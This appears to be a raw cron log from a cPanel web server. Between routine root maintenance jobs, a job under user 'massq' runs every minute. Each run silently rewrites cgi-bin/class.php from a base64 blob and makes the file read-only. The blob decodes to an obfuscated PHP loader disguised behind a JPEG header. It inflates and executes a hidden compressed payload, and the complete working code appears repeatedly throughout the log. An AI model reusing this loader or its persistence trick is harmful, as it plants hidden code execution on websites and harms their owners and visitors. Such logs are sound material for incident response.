Sep 11 22:44:01 server CROND[20215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:44:01 server CROND[20216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:44:01 server CROND[20217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:45:01 server CROND[20669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:45:01 server CROND[20671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:45:01 server CROND[20674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:45:01 server CROND[20670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:45:01 server CROND[20672]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:45:01 server CROND[20673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:45:01 server CROND[20679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:46:01 server CROND[21587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:46:01 server CROND[21588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:46:01 server CROND[21589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:47:01 server CROND[21974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:47:01 server CROND[21975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:47:01 server CROND[21976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:48:01 server CROND[22383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:48:01 server CROND[22385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:48:01 server CROND[22384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:49:01 server CROND[22785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:49:01 server CROND[22790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:49:01 server CROND[22793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:50:01 server CROND[23348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:50:01 server CROND[23350]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:50:01 server CROND[23353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 22:50:01 server CROND[23354]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:50:01 server CROND[23359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:50:01 server CROND[23356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:50:01 server CROND[23358]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:50:01 server CROND[23362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:50:01 server CROND[23357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:51:01 server CROND[24284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:51:01 server CROND[24285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:51:01 server CROND[24286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:52:01 server CROND[24665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:52:01 server CROND[24666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:52:01 server CROND[24667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:53:01 server CROND[25051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:53:01 server CROND[25052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:53:01 server CROND[25053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:54:01 server CROND[25445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:54:01 server CROND[25446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:54:01 server CROND[25447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:55:01 server CROND[25848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:55:01 server CROND[25850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:55:01 server CROND[25858]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:55:01 server CROND[25862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:55:01 server CROND[25864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:55:01 server CROND[25866]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:55:02 server CROND[25860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
